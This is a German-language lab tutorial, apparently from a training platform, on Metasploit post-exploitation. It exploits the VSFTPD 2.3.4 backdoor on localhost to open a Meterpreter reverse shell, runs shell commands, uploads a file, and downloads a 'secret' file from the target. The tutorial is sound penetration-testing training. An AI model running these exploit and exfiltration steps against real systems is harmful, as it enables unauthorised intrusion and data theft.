Einführung
In diesem Lab erlernen Sie die Grundlagen der Post-Exploitation unter Verwendung des Metasploit Frameworks. Zunächst verschaffen Sie sich durch die Ausnutzung eines verwundbaren FTP-Servers einen ersten Zugriff, um eine Meterpreter-Session zu etablieren. Anschließend gehen Sie zur Post-Exploitation-Phase über. Das Ziel dieser Phase ist es, das kompromittierte System zu erkunden, Privilegien zu eskalieren und Daten zu exfiltrieren.
Sie werden wesentliche Meterpreter-Befehle üben, um mit einer Session zu interagieren, Shell-Befehle auszuführen und Dateien zwischen der Angreifer- und der Zielmaschine zu übertragen. Dieses Lab führt Sie vom initialen Exploit bis hin zu grundlegenden Post-Exploitation-Techniken.
Initialen Zugriff erlangen
In diesem Schritt verschaffen Sie sich Zugriff auf das Zielsystem, indem Sie eine Backdoor im Dienst VSFTPD 2.3.4 ausnutzen. Dies liefert Ihnen eine Meterpreter-Session für die Post-Exploitation.
Starten Sie zunächst die Metasploit Framework-Konsole.
msfconsole -q
Sobald Metasploit läuft, wählen Sie den Exploit für die VSFTPD 2.3.4 Backdoor aus.
use exploit/unix/ftp/vsftpd_234_backdoor
Konfigurieren Sie nun die Ziel- und Payload-Optionen. Da der Dienst auf derselben Maschine läuft, verwenden wir die Loopback-IP. Die Standard-Payload erfordert LHOST und schlägt möglicherweise mit der Meldung "All encoders failed to encode" fehl – setzen Sie den Encoder, um dies zu vermeiden:
set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none
Starten Sie abschließend den Exploit.
exploit
FEHLERBEHEBUNG: Falls Sie
Msf::OptionValidateError One or more options failed to validate: LHOSTsehen, führen Sieset LHOST 127.0.0.1aus. Falls SieAll encoders failed to encodesehen, führen Sieset Encoder generic/noneaus. Führen Sie danach erneutexploitaus.
WARNUNG: Der erste Versuch könnte mit "Unable to connect to backdoor on 6200/TCP. Cooldown?" oder "Exploit completed, but no session was created." fehlschlagen. Sollte dies passieren, führen Sie einfach erneut den Befehl
exploitaus – der zweite Versuch sollte erfolgreich sein.
Bei Erfolg wird eine Meterpreter-Session geöffnet (Session 1).
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
Sie verfügen nun über eine Meterpreter-Session. Um für den nächsten Schritt zum msf > Prompt zurückzukehren, drücken Sie Ctrl+Z und geben Sie bei der Frage "Background session 1?" ein y ein.
Mit der Meterpreter-Session interagieren
Nachdem Sie nun eine Meterpreter-Session im Hintergrund haben, lernen Sie, wie Sie damit interagieren. Der Befehl sessions listet alle aktiven Sessions auf und funktioniert nur am Haupt-Prompt von Metasploit (msf exploit(...) >), nicht innerhalb von Meterpreter.
Um Ihre aktiven Sessions zu sehen, führen Sie aus:
sessions
Sie sollten Ihre Meterpreter-Session mit der ID 1 sehen.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
Um mit Session 1 zu interagieren, führen Sie aus:
sessions -i 1
Ihr Prompt ändert sich zu meterpreter >, was anzeigt, dass Sie sich nun innerhalb der Session befinden.
[*] Starting interaction with 1...
meterpreter >
Sie sind nun bereit, Post-Exploitation-Befehle innerhalb von Meterpreter auszuführen.
Shell-Befehle mit dem shell-Befehl ausführen
Innerhalb von Meterpreter können Sie in eine Standard-System-Shell wechseln, um Befehle auf dem Ziel auszuführen. Dies ist nützlich, wenn Sie Shell-spezifische Befehle oder Skripte ausführen müssen.
Geben Sie am meterpreter > Prompt Folgendes ein:
shell
Eine Standard-Shell öffnet sich auf dem Remote-Ziel. Der Prompt scheint kurz zu hängen, aber Sie befinden sich nun in einer System-Shell und können Befehle direkt ausführen.
Process 1654 created.
Channel 1 created.
Führen Sie whoami aus, um Ihren Benutzerkontext zu bestätigen:
whoami
labex
Geben Sie exit ein, um zum Meterpreter-Prompt zurückzukehren.
exit
Ihr Prompt ändert sich zurück zu meterpreter >. Im nächsten Schritt verwenden Sie diese Session, um eine Datei auf das Ziel hochzuladen.
Datei hochladen mit upload /lokaler/pfad /entfernter/pfad
Der upload-Befehl von Meterpreter überträgt Dateien von Ihrer lokalen Maschine auf das Ziel. Eine Datei namens local_file.txt befindet sich in /home/labex/project. Laden Sie diese nach /tmp auf der Remote-Maschine hoch.
Führen Sie am meterpreter > Prompt aus:
upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt
Sie sehen eine Ausgabe, die den Upload bestätigt:
[*] Uploading : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
In diesem Lab läuft das Ziel auf derselben Maschine, daher erscheint die Datei unter /tmp/uploaded_file.txt. Als Nächstes üben Sie den umgekehrten Vorgang: das Herunterladen einer Datei vom Ziel.
Datei herunterladen mit download /entfernter/pfad /lokaler/pfad
Der download-Befehl überträgt Dateien vom Ziel auf Ihre lokale Maschine. Eine Datei namens secret_data.txt befindet sich unter /tmp auf dem Remote-System. Laden Sie diese in Ihr Projektverzeichnis herunter.
Führen Sie am meterpreter > Prompt aus:
download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt
Sie sehen eine Ausgabe, die den Download bestätigt. Meterpreter erstellt möglicherweise ein Verzeichnis namens downloaded_secret.txt und legt die Datei darin als secret_data.txt ab.
[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
Die Datei befindet sich nun auf Ihrer lokalen Maschine. Im letzten Schritt schließen Sie die Session und überprüfen den heruntergeladenen Inhalt.
Session beenden mit dem exit-Befehl
In diesem letzten Schritt schließen Sie die Meterpreter-Session und verlassen die Metasploit-Konsole.
Geben Sie am meterpreter > Prompt exit ein, um die Session zu schließen.
exit
[*] Shutting down session: 1
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
Um die Metasploit-Konsole zu verlassen, geben Sie exit ein. Falls Sie nach einer aktiven Session gefragt werden, verwenden Sie exit -y, um das Beenden zu erzwingen.
exit -y
Überprüfen Sie die heruntergeladene Datei. Wie bereits erwähnt, hat Meterpreter möglicherweise ein Verzeichnis erstellt; die Datei befindet sich unter downloaded_secret.txt/secret_data.txt:
cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.
Herzlichen Glückwunsch! Sie haben einen vollständigen Exploit- und Post-Exploitation-Workflow abgeschlossen.
Zusammenfassung
In diesem Lab haben Sie einen vollständigen Workflow vom initialen Zugriff bis zur Post-Exploitation kennengelernt. Sie begannen damit, über einen Exploit eine Meterpreter-Session zu erhalten. Sie haben geübt, wie man Sessions auflistet und mit ihnen interagiert, wie man von Meterpreter aus eine Standard-System-Shell erhält und wie man die Dateiübertragung zwischen Angreifer- und Zielmaschine mittels der Befehle upload und download meistert. Abschließend haben Sie gelernt, wie man eine Session ordnungsgemäß schließt und die Metasploit-Konsole verlässt. Diese Fähigkeiten sind grundlegend für Penetrationstests.



